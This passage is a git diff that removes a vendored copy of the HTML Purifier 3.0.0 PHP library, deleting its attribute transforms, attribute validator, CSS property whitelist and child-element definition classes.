-{ - - public function transform($attr, $config, $context) { - - $src = true; - if (!isset($attr['src'])) { - if ($config->get('Core', 'RemoveInvalidImg')) return $attr; - $attr['src'] = $config->get('Attr', 'DefaultInvalidImage'); - $src = false; - } - - if (!isset($attr['alt'])) { - if ($src) { - $attr['alt'] = basename($attr['src']); - } else { - $attr['alt'] = $config->get('Attr', 'DefaultInvalidImageAlt'); - } - } - - return $attr; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/ImgSpace.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/ImgSpace.php deleted file mode 100644 index a5cfa74..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/ImgSpace.php +++ /dev/null @@ -1,45 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform.php'; - -/** - * Pre-transform that changes deprecated hspace and vspace attributes to CSS - */ -class HTMLPurifier_AttrTransform_ImgSpace extends HTMLPurifier_AttrTransform { - - protected $attr; - protected $css = array( - 'hspace' => array('left', 'right'), - 'vspace' => array('top', 'bottom') - ); - - public function __construct($attr) { - $this->attr = $attr; - if (!isset($this->css[$attr])) { - trigger_error(htmlspecialchars($attr) . ' is not valid space attribute'); - } - } - - public function transform($attr, $config, $context) { - - if (!isset($attr[$this->attr])) return $attr; - - $width = $this->confiscateAttr($attr, $this->attr); - // some validation could happen here - - if (!isset($this->css[$this->attr])) return $attr; - - $style = ''; - foreach ($this->css[$this->attr] as $suffix) { - $property = "margin-$suffix"; - $style .= "$property:{$width}px;"; - } - - $this->prependCSS($attr, $style); - - return $attr; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Lang.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Lang.php deleted file mode 100644 index c8c86f7..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Lang.php +++ /dev/null @@ -1,29 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform.php'; - -/** - * Post-transform that copies lang's value to xml:lang (and vice-versa) - * @note Theoretically speaking, this could be a pre-transform, but putting - * post is more efficient. - */ -class HTMLPurifier_AttrTransform_Lang extends HTMLPurifier_AttrTransform -{ - - public function transform($attr, $config, $context) { - - $lang = isset($attr['lang']) ? $attr['lang'] : false; - $xml_lang = isset($attr['xml:lang']) ? $attr['xml:lang'] : false; - - if ($lang !== false && $xml_lang === false) { - $attr['xml:lang'] = $lang; - } elseif ($xml_lang !== false) { - $attr['lang'] = $xml_lang; - } - - return $attr; - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Length.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Length.php deleted file mode 100644 index 3cff5de..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Length.php +++ /dev/null @@ -1,28 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform.php'; - -/** - * Class for handling width/height length attribute transformations to CSS - */ -class HTMLPurifier_AttrTransform_Length extends HTMLPurifier_AttrTransform -{ - - protected $name; - protected $cssName; - - public function __construct($name, $css_name = null) { - $this->name = $name; - $this->cssName = $css_name ? $css_name : $name; - } - - public function transform($attr, $config, $context) { - if (!isset($attr[$this->name])) return $attr; - $length = $this->confiscateAttr($attr, $this->name); - if(ctype_digit($length)) $length .= 'px'; - $this->prependCSS($attr, $this->cssName . ":$length;"); - return $attr; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Name.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Name.php deleted file mode 100644 index d89c11a..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTransform/Name.php +++ /dev/null @@ -1,20 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform.php'; - -/** - * Pre-transform that changes deprecated name attribute to ID if necessary - */ -class HTMLPurifier_AttrTransform_Name extends HTMLPurifier_AttrTransform -{ - - public function transform($attr, $config, $context) { - if (!isset($attr['name'])) return $attr; - $id = $this->confiscateAttr($attr, 'name'); - if ( isset($attr['id'])) return $attr; - $attr['id'] = $id; - return $attr; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTypes.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTypes.php deleted file mode 100644 index 1748619..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrTypes.php +++ /dev/null @@ -1,84 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/Lang.php'; -require_once 'HTMLPurifier/AttrDef/Enum.php'; -require_once 'HTMLPurifier/AttrDef/HTML/Bool.php'; -require_once 'HTMLPurifier/AttrDef/HTML/ID.php'; -require_once 'HTMLPurifier/AttrDef/HTML/Length.php'; -require_once 'HTMLPurifier/AttrDef/HTML/MultiLength.php'; -require_once 'HTMLPurifier/AttrDef/HTML/Nmtokens.php'; -require_once 'HTMLPurifier/AttrDef/HTML/Pixels.php'; -require_once 'HTMLPurifier/AttrDef/HTML/Color.php'; -require_once 'HTMLPurifier/AttrDef/Integer.php'; -require_once 'HTMLPurifier/AttrDef/Text.php'; -require_once 'HTMLPurifier/AttrDef/URI.php'; - -/** - * Provides lookup array of attribute types to HTMLPurifier_AttrDef objects - */ -class HTMLPurifier_AttrTypes -{ - /** - * Lookup array of attribute string identifiers to concrete implementations - */ - public $info = array(); - - /** - * Constructs the info array, supplying default implementations for attribute - * types. - */ - public function __construct() { - // pseudo-types, must be instantiated via shorthand - $this->info['Enum'] = new HTMLPurifier_AttrDef_Enum(); - $this->info['Bool'] = new HTMLPurifier_AttrDef_HTML_Bool(); - - $this->info['CDATA'] = new HTMLPurifier_AttrDef_Text(); - $this->info['ID'] = new HTMLPurifier_AttrDef_HTML_ID(); - $this->info['Length'] = new HTMLPurifier_AttrDef_HTML_Length(); - $this->info['MultiLength'] = new HTMLPurifier_AttrDef_HTML_MultiLength(); - $this->info['NMTOKENS'] = new HTMLPurifier_AttrDef_HTML_Nmtokens(); - $this->info['Pixels'] = new HTMLPurifier_AttrDef_HTML_Pixels(); - $this->info['Text'] = new HTMLPurifier_AttrDef_Text(); - $this->info['URI'] = new HTMLPurifier_AttrDef_URI(); - $this->info['LanguageCode'] = new HTMLPurifier_AttrDef_Lang(); - $this->info['Color'] = new HTMLPurifier_AttrDef_HTML_Color(); - - // unimplemented aliases - $this->info['ContentType'] = new HTMLPurifier_AttrDef_Text(); - - // number is really a positive integer (one or more digits) - // FIXME: ^^ not always, see start and value of list items - $this->info['Number'] = new HTMLPurifier_AttrDef_Integer(false, false, true); - } - - /** - * Retrieves a type - * @param $type String type name - * @return Object AttrDef for type - */ - public function get($type) { - - // determine if there is any extra info tacked on - if (strpos($type, '#') !== false) list($type, $string) = explode('#', $type, 2); - else $string = ''; - - if (!isset($this->info[$type])) { - trigger_error('Cannot retrieve undefined attribute type ' . $type, E_USER_ERROR); - return; - } - - return $this->info[$type]->make($string); - - } - - /** - * Sets a new implementation for a type - * @param $type String type name - * @param $impl Object AttrDef for type - */ - public function set($type, $impl) { - $this->info[$type] = $impl; - } -} - - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrValidator.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrValidator.php deleted file mode 100644 index 092cf15..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/AttrValidator.php +++ /dev/null @@ -1,146 +0,0 @@ -<?php - -/** - * Validates the attributes of a token. Doesn't manage required attributes - * very well. The only reason we factored this out was because RemoveForeignElements - * also needed it besides ValidateAttributes. - */ -class HTMLPurifier_AttrValidator -{ - - /** - * Validates the attributes of a token, returning a modified token - * that has valid tokens - * @param $token Reference to token to validate. We require a reference - * because the operation this class performs on the token are - * not atomic, so the context CurrentToken to be updated - * throughout - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - */ - public function validateToken(&$token, &$config, $context) { - - $definition = $config->getHTMLDefinition(); - $e =& $context->get('ErrorCollector', true); - - // initialize IDAccumulator if necessary - $ok =& $context->get('IDAccumulator', true); - if (!$ok) { - $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context); - $context->register('IDAccumulator', $id_accumulator); - } - - // initialize CurrentToken if necessary - $current_token =& $context->get('CurrentToken', true); - if (!$current_token) $context->register('CurrentToken', $token); - - if ($token->type !== 'start' && $token->type !== 'empty') return $token; - - // create alias to global definition array, see also $defs - // DEFINITION CALL - $d_defs = $definition->info_global_attr; - - // reference attributes for easy manipulation - $attr =& $token->attr; - - // do global transformations (pre) - // nothing currently utilizes this - foreach ($definition->info_attr_transform_pre as $transform) { - $attr = $transform->transform($o = $attr, $config, $context); - if ($e && ($attr != $o)) $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); - } - - // do local transformations only applicable to this element (pre) - // ex. <p align="right"> to <p style="text-align:right;"> - foreach ($definition->info[$token->name]->attr_transform_pre as $transform) { - $attr = $transform->transform($o = $attr, $config, $context); - if ($e && ($attr != $o)) $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); - } - - // create alias to this element's attribute definition array, see - // also $d_defs (global attribute definition array) - // DEFINITION CALL - $defs = $definition->info[$token->name]->attr; - - $attr_key = false; - $context->register('CurrentAttr', $attr_key); - - // iterate through all the attribute keypairs - // Watch out for name collisions: $key has previously been used - foreach ($attr as $attr_key => $value) { - - // call the definition - if ( isset($defs[$attr_key]) ) { - // there is a local definition defined - if ($defs[$attr_key] === false) { - // We've explicitly been told not to allow this element. - // This is usually when there's a global definition - // that must be overridden. - // Theoretically speaking, we could have a - // AttrDef_DenyAll, but this is faster! - $result = false; - } else { - // validate according to the element's definition - $result = $defs[$attr_key]->validate( - $value, $config, $context - ); - } - } elseif ( isset($d_defs[$attr_key]) ) { - // there is a global definition defined, validate according - // to the global definition - $result = $d_defs[$attr_key]->validate( - $value, $config, $context - ); - } else { - // system never heard of the attribute? DELETE! - $result = false; - } - - // put the results into effect - if ($result === false || $result === null) { - // this is a generic error message that should replaced - // with more specific ones when possible - if ($e) $e->send(E_ERROR, 'AttrValidator: Attribute removed'); - - // remove the attribute - unset($attr[$attr_key]); - } elseif (is_string($result)) { - // generally, if a substitution is happening, there - // was some sort of implicit correction going on. We'll - // delegate it to the attribute classes to say exactly what. - - // simple substitution - $attr[$attr_key] = $result; - } - - // we'd also want slightly more complicated substitution - // involving an array as the return value, - // although we're not sure how colliding attributes would - // resolve (certain ones would be completely overriden, - // others would prepend themselves). - } - - $context->destroy('CurrentAttr'); - - // post transforms - - // global (error reporting untested) - foreach ($definition->info_attr_transform_post as $transform) { - $attr = $transform->transform($o = $attr, $config, $context); - if ($e && ($attr != $o)) $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); - } - - // local (error reporting untested) - foreach ($definition->info[$token->name]->attr_transform_post as $transform) { - $attr = $transform->transform($o = $attr, $config, $context); - if ($e && ($attr != $o)) $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); - } - - // destroy CurrentToken if we made it ourselves - if (!$current_token) $context->destroy('CurrentToken'); - - } - - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/CSSDefinition.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/CSSDefinition.php deleted file mode 100644 index 5295dc4..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/CSSDefinition.php +++ /dev/null @@ -1,263 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Definition.php'; - -require_once 'HTMLPurifier/AttrDef/CSS/AlphaValue.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Background.php'; -require_once 'HTMLPurifier/AttrDef/CSS/BackgroundPosition.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Border.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Color.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Composite.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Filter.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Font.php'; -require_once 'HTMLPurifier/AttrDef/CSS/FontFamily.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Length.php'; -require_once 'HTMLPurifier/AttrDef/CSS/ListStyle.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Multiple.php'; -require_once 'HTMLPurifier/AttrDef/CSS/Percentage.php'; -require_once 'HTMLPurifier/AttrDef/CSS/TextDecoration.php'; -require_once 'HTMLPurifier/AttrDef/CSS/URI.php'; -require_once 'HTMLPurifier/AttrDef/Enum.php'; - -HTMLPurifier_ConfigSchema::define( - 'CSS', 'DefinitionRev', 1, 'int', ' -<p> - Revision identifier for your custom definition. See - %HTML.DefinitionRev for details. This directive has been available - since 2.0.0. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'CSS', 'Proprietary', false, 'bool', ' -<p> - Whether or not to allow safe, proprietary CSS values. This directive - has been available since 3.0.0. -</p> -'); - -/** - * Defines allowed CSS attributes and what their values are. - * @see HTMLPurifier_HTMLDefinition - */ -class HTMLPurifier_CSSDefinition extends HTMLPurifier_Definition -{ - - public $type = 'CSS'; - - /** - * Assoc array of attribute name to definition object. - */ - public $info = array(); - - /** - * Constructs the info array. The meat of this class. - */ - protected function doSetup($config) { - - $this->info['text-align'] = new HTMLPurifier_AttrDef_Enum( - array('left', 'right', 'center', 'justify'), false); - - $border_style = - $this->info['border-bottom-style'] = - $this->info['border-right-style'] = - $this->info['border-left-style'] = - $this->info['border-top-style'] = new HTMLPurifier_AttrDef_Enum( - array('none', 'hidden', 'dotted', 'dashed', 'solid', 'double', - 'groove', 'ridge', 'inset', 'outset'), false); - - $this->info['border-style'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_style); - - $this->info['clear'] = new HTMLPurifier_AttrDef_Enum( - array('none', 'left', 'right', 'both'), false); - $this->info['float'] = new HTMLPurifier_AttrDef_Enum( - array('none', 'left', 'right'), false); - $this->info['font-style'] = new HTMLPurifier_AttrDef_Enum( - array('normal', 'italic', 'oblique'), false); - $this->info['font-variant'] = new HTMLPurifier_AttrDef_Enum( - array('normal', 'small-caps'), false); - - $uri_or_none = new HTMLPurifier_AttrDef_CSS_Composite( - array( - new HTMLPurifier_AttrDef_Enum(array('none')), - new HTMLPurifier_AttrDef_CSS_URI() - ) - ); - - $this->info['list-style-position'] = new HTMLPurifier_AttrDef_Enum( - array('inside', 'outside'), false); - $this->info['list-style-type'] = new HTMLPurifier_AttrDef_Enum( - array('disc', 'circle', 'square', 'decimal', 'lower-roman', - 'upper-roman', 'lower-alpha', 'upper-alpha', 'none'), false); - $this->info['list-style-image'] = $uri_or_none; - - $this->info['list-style'] = new HTMLPurifier_AttrDef_CSS_ListStyle($config); - - $this->info['text-transform'] = new HTMLPurifier_AttrDef_Enum( - array('capitalize', 'uppercase', 'lowercase', 'none'), false); - $this->info['color'] = new HTMLPurifier_AttrDef_CSS_Color(); - - $this->info['background-image'] = $uri_or_none; - $this->info['background-repeat'] = new HTMLPurifier_AttrDef_Enum( - array('repeat', 'repeat-x', 'repeat-y', 'no-repeat') - ); - $this->info['background-attachment'] = new HTMLPurifier_AttrDef_Enum( - array('scroll', 'fixed') - ); - $this->info['background-position'] = new HTMLPurifier_AttrDef_CSS_BackgroundPosition(); - - $border_color = - $this->info['border-top-color'] = - $this->info['border-bottom-color'] = - $this->info['border-left-color'] = - $this->info['border-right-color'] = - $this->info['background-color'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('transparent')), - new HTMLPurifier_AttrDef_CSS_Color() - )); - - $this->info['background'] = new HTMLPurifier_AttrDef_CSS_Background($config); - - $this->info['border-color'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_color); - - $border_width = - $this->info['border-top-width'] = - $this->info['border-bottom-width'] = - $this->info['border-left-width'] = - $this->info['border-right-width'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('thin', 'medium', 'thick')), - new HTMLPurifier_AttrDef_CSS_Length(true) //disallow negative - )); - - $this->info['border-width'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_width); - - $this->info['letter-spacing'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('normal')), - new HTMLPurifier_AttrDef_CSS_Length() - )); - - $this->info['word-spacing'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('normal')), - new HTMLPurifier_AttrDef_CSS_Length() - )); - - $this->info['font-size'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('xx-small', 'x-small', - 'small', 'medium', 'large', 'x-large', 'xx-large', - 'larger', 'smaller')), - new HTMLPurifier_AttrDef_CSS_Percentage(), - new HTMLPurifier_AttrDef_CSS_Length() - )); - - $this->info['line-height'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('normal')), - new HTMLPurifier_AttrDef_CSS_Number(true), // no negatives - new HTMLPurifier_AttrDef_CSS_Length(true), - new HTMLPurifier_AttrDef_CSS_Percentage(true) - )); - - $margin = - $this->info['margin-top'] = - $this->info['margin-bottom'] = - $this->info['margin-left'] = - $this->info['margin-right'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_CSS_Length(), - new HTMLPurifier_AttrDef_CSS_Percentage(), - new HTMLPurifier_AttrDef_Enum(array('auto')) - )); - - $this->info['margin'] = new HTMLPurifier_AttrDef_CSS_Multiple($margin); - - // non-negative - $padding = - $this->info['padding-top'] = - $this->info['padding-bottom'] = - $this->info['padding-left'] = - $this->info['padding-right'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_CSS_Length(true), - new HTMLPurifier_AttrDef_CSS_Percentage(true) - )); - - $this->info['padding'] = new HTMLPurifier_AttrDef_CSS_Multiple($padding); - - $this->info['text-indent'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_CSS_Length(), - new HTMLPurifier_AttrDef_CSS_Percentage() - )); - - $this->info['width'] = - $this->info['height'] = - new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_CSS_Length(true), - new HTMLPurifier_AttrDef_CSS_Percentage(true), - new HTMLPurifier_AttrDef_Enum(array('auto')) - )); - - $this->info['text-decoration'] = new HTMLPurifier_AttrDef_CSS_TextDecoration(); - - $this->info['font-family'] = new HTMLPurifier_AttrDef_CSS_FontFamily(); - - // this could use specialized code - $this->info['font-weight'] = new HTMLPurifier_AttrDef_Enum( - array('normal', 'bold', 'bolder', 'lighter', '100', '200', '300', - '400', '500', '600', '700', '800', '900'), false); - - // MUST be called after other font properties, as it references - // a CSSDefinition object - $this->info['font'] = new HTMLPurifier_AttrDef_CSS_Font($config); - - // same here - $this->info['border'] = - $this->info['border-bottom'] = - $this->info['border-top'] = - $this->info['border-left'] = - $this->info['border-right'] = new HTMLPurifier_AttrDef_CSS_Border($config); - - $this->info['border-collapse'] = new HTMLPurifier_AttrDef_Enum(array( - 'collapse', 'separate')); - - $this->info['caption-side'] = new HTMLPurifier_AttrDef_Enum(array( - 'top', 'bottom')); - - $this->info['table-layout'] = new HTMLPurifier_AttrDef_Enum(array( - 'auto', 'fixed')); - - $this->info['vertical-align'] = new HTMLPurifier_AttrDef_CSS_Composite(array( - new HTMLPurifier_AttrDef_Enum(array('baseline', 'sub', 'super', - 'top', 'text-top', 'middle', 'bottom', 'text-bottom')), - new HTMLPurifier_AttrDef_CSS_Length(), - new HTMLPurifier_AttrDef_CSS_Percentage() - )); - - $this->info['border-spacing'] = new HTMLPurifier_AttrDef_CSS_Multiple(new HTMLPurifier_AttrDef_CSS_Length(), 2); - - // partial support - $this->info['white-space'] = new HTMLPurifier_AttrDef_Enum(array('nowrap')); - - if ($config->get('CSS', 'Proprietary')) { - $this->doSetupProprietary($config); - } - - } - - protected function doSetupProprietary($config) { - // Internet Explorer only scrollbar colors - $this->info['scrollbar-arrow-color'] = new HTMLPurifier_AttrDef_CSS_Color(); - $this->info['scrollbar-base-color'] = new HTMLPurifier_AttrDef_CSS_Color(); - $this->info['scrollbar-darkshadow-color'] = new HTMLPurifier_AttrDef_CSS_Color(); - $this->info['scrollbar-face-color'] = new HTMLPurifier_AttrDef_CSS_Color(); - $this->info['scrollbar-highlight-color'] = new HTMLPurifier_AttrDef_CSS_Color(); - $this->info['scrollbar-shadow-color'] = new HTMLPurifier_AttrDef_CSS_Color(); - - // technically not proprietary, but CSS3, and no one supports it - $this->info['opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue(); - $this->info['-moz-opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue(); - $this->info['-khtml-opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue(); - - // only opacity, for now - $this->info['filter'] = new HTMLPurifier_AttrDef_CSS_Filter(); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef.php deleted file mode 100644 index 927f728..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef.php +++ /dev/null @@ -1,56 +0,0 @@ -<?php - -// HTMLPurifier_ChildDef and inheritance have three types of output: -// true = leave nodes as is -// false = delete parent node and all children -// array(...) = replace children nodes with these - -HTMLPurifier_ConfigSchema::define( - 'Core', 'EscapeInvalidChildren', false, 'bool', - 'When true, a child is found that is not allowed in the context of the '. - 'parent element will be transformed into text as if it were ASCII. When '. - 'false, that element and all internal tags will be dropped, though text '. - 'will be preserved. There is no option for dropping the element but '. - 'preserving child nodes.' -); - -/** - * Defines allowed child nodes and validates tokens against it. - */ -class HTMLPurifier_ChildDef -{ - /** - * Type of child definition, usually right-most part of class name lowercase. - * Used occasionally in terms of context. - */ - public $type; - - /** - * Bool that indicates whether or not an empty array of children is okay - * - * This is necessary for redundant checking when changes affecting - * a child node may cause a parent node to now be disallowed. - */ - public $allow_empty; - - /** - * Lookup array of all elements that this definition could possibly allow - */ - public $elements = array(); - - /** - * Validates nodes according to definition and returns modification. - * - * @param $tokens_of_children Array of HTMLPurifier_Token - * @param $config HTMLPurifier_Config object - * @param $context HTMLPurifier_Context object - * @return bool true to leave nodes as is - * @return bool false to remove parent node - * @return array of replacement child tokens - */ - public function validateChildren($tokens_of_children, $config, $context) { - trigger_error('Call to abstract function', E_USER_ERROR); - } -} - - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Chameleon.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Chameleon.php deleted file mode 100644 index 72037c4..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Chameleon.php +++ /dev/null @@ -1,49 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDef.php'; - -/** - * Definition that uses different definitions depending on context. - * - * The del and ins tags are notable because they allow different types of - * elements depending on whether or not they're in a block or inline context. - * Chameleon allows this behavior to happen by using two different - * definitions depending on context. While this somewhat generalized, - * it is specifically intended for those two tags. - */ -class HTMLPurifier_ChildDef_Chameleon extends HTMLPurifier_ChildDef -{ - - /** - * Instance of the definition object to use when inline. Usually stricter. - */ - public $inline; - - /** - * Instance of the definition object to use when block. - */ - public $block; - - public $type = 'chameleon'; - - /** - * @param $inline List of elements to allow when inline. - * @param $block List of elements to allow when block. - */ - public function __construct($inline, $block) { - $this->inline = new HTMLPurifier_ChildDef_Optional($inline); - $this->block = new HTMLPurifier_ChildDef_Optional($block); - $this->elements = $this->block->elements; - } - - public function validateChildren($tokens_of_children, $config, $context) { - if ($context->get('IsInline') === false) { - return $this->block->validateChildren( - $tokens_of_children, $config, $context); - } else { - return $this->inline->validateChildren( - $tokens_of_children, $config, $context); - } - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Custom.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Custom.php deleted file mode 100644 index 2b062d0..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Custom.php +++ /dev/null @@ -1,93 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDef.php'; - -/** - * Custom validation class, accepts DTD child definitions - * - * @warning Currently this class is an all or nothing proposition, that is, - * it will only give a bool return value. - * @note This class is currently not used by any code, although it is unit - * tested. - */ -class HTMLPurifier_ChildDef_Custom extends HTMLPurifier_ChildDef -{ - public $type = 'custom'; - public $allow_empty = false; - /** - * Allowed child pattern as defined by the DTD - */ - public $dtd_regex; - /** - * PCRE regex derived from $dtd_regex - * @private - */ - private $_pcre_regex; - /** - * @param $dtd_regex Allowed child pattern from the DTD - */ - public function __construct($dtd_regex) { - $this->dtd_regex = $dtd_regex; - $this->_compileRegex(); - } - /** - * Compiles the PCRE regex from a DTD regex ($dtd_regex to $_pcre_regex) - */ - protected function _compileRegex() { - $raw = str_replace(' ', '', $this->dtd_regex); - if ($raw{0} != '(') { - $raw = "($raw)"; - } - $el = '[#a-zA-Z0-9_.-]+'; - $reg = $raw; - - // COMPLICATED! AND MIGHT BE BUGGY! I HAVE NO CLUE WHAT I'M - // DOING! Seriously: if there's problems, please report them. - - // collect all elements into the $elements array - preg_match_all("/$el/", $reg, $matches); - foreach ($matches[0] as $match) { - $this->elements[$match] = true; - } - - // setup all elements as parentheticals with leading commas - $reg = preg_replace("/$el/", '(,\\0)', $reg); - - // remove commas when they were not solicited - $reg = preg_replace("/([^,(|]\(+),/", '\\1', $reg); - - // remove all non-paranthetical commas: they are handled by first regex - $reg = preg_replace("/,\(/", '(', $reg); - - $this->_pcre_regex = $reg; - } - public function validateChildren($tokens_of_children, $config, $context) { - $list_of_children = ''; - $nesting = 0; // depth into the nest - foreach ($tokens_of_children as $token) { - if (!empty($token->is_whitespace)) continue; - - $is_child = ($nesting == 0); // direct - - if ($token->type == 'start') { - $nesting++; - } elseif ($token->type == 'end') { - $nesting--; - } - - if ($is_child) { - $list_of_children .= $token->name . ','; - } - } - // add leading comma to deal with stray comma declarations - $list_of_children = ',' . rtrim($list_of_children, ','); - $okay = - preg_match( - '/^,?'.$this->_pcre_regex.'$/', - $list_of_children - ); - - return (bool) $okay; - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Empty.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Empty.php deleted file mode 100644 index e6e5b72..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Empty.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDef.php'; - -/** - * Definition that disallows all elements. - * @warning validateChildren() in this class is actually never called, because - * empty elements are corrected in HTMLPurifier_Strategy_MakeWellFormed - * before child definitions are parsed in earnest by - * HTMLPurifier_Strategy_FixNesting. - */ -class HTMLPurifier_ChildDef_Empty extends HTMLPurifier_ChildDef -{ - public $allow_empty = true; - public $type = 'empty'; - public function __construct() {} - public function validateChildren($tokens_of_children, $config, $context) { - return array(); - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Optional.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Optional.php deleted file mode 100644 index 46cdb06..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Optional.php +++ /dev/null @@ -1,25 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDef/Required.php'; - -/** - * Definition that allows a set of elements, and allows no children. - * @note This is a hack to reuse code from HTMLPurifier_ChildDef_Required, - * really, one shouldn't inherit from the other. Only altered behavior - * is to overload a returned false with an array. Thus, it will never - * return false. - */ -class HTMLPurifier_ChildDef_Optional extends HTMLPurifier_ChildDef_Required -{ - public $allow_empty = true; - public $type = 'optional'; - public function validateChildren($tokens_of_children, $config, $context) { - $result = parent::validateChildren($tokens_of_children, $config, $context); - if ($result === false) { - if (empty($tokens_of_children)) return true; - else return array(); - } - return $result; - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Required.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Required.php deleted file mode 100644 index 0438b44..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ChildDef/Required.php +++ /dev/null @@ -1,111 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ChildDef.php'; - -/** - * Definition that allows a set of elements, but disallows empty children. - */ -class HTMLPurifier_ChildDef_Required extends HTMLPurifier_ChildDef -{ - /** - * Lookup table of allowed elements. - * @public - */ - public $elements = array(); - /** - * @param $elements List of allowed element names (lowercase). - */ - public function __construct($elements) { - if (is_string($elements)) { - $elements = str_replace(' ', '', $elements); - $elements = explode('|', $elements); - } - $keys = array_keys($elements); - if ($keys == array_keys($keys)) { - $elements = array_flip($elements); - foreach ($elements as $i => $x) { - $elements[$i] = true; - if (empty($i)) unset($elements[$i]); // remove blank - } - } - $this->elements = $elements; - } - public $allow_empty = false; - public $type = 'required'; - public function validateChildren($tokens_of_children, $config, $context) { - // if there are no tokens, delete parent node - if (empty($tokens_of_children)) return false; - - // the new set of children - $result = array(); - - // current depth into the nest - $nesting = 0; - - // whether or not we're deleting a node - $is_deleting = false; - - // whether or not parsed character data is allowed - // this controls whether or not we silently drop a tag - // or generate escaped HTML from it - $pcdata_allowed = isset($this->elements['#PCDATA']); - - // a little sanity check to make sure it's not ALL whitespace - $all_whitespace = true; - - // 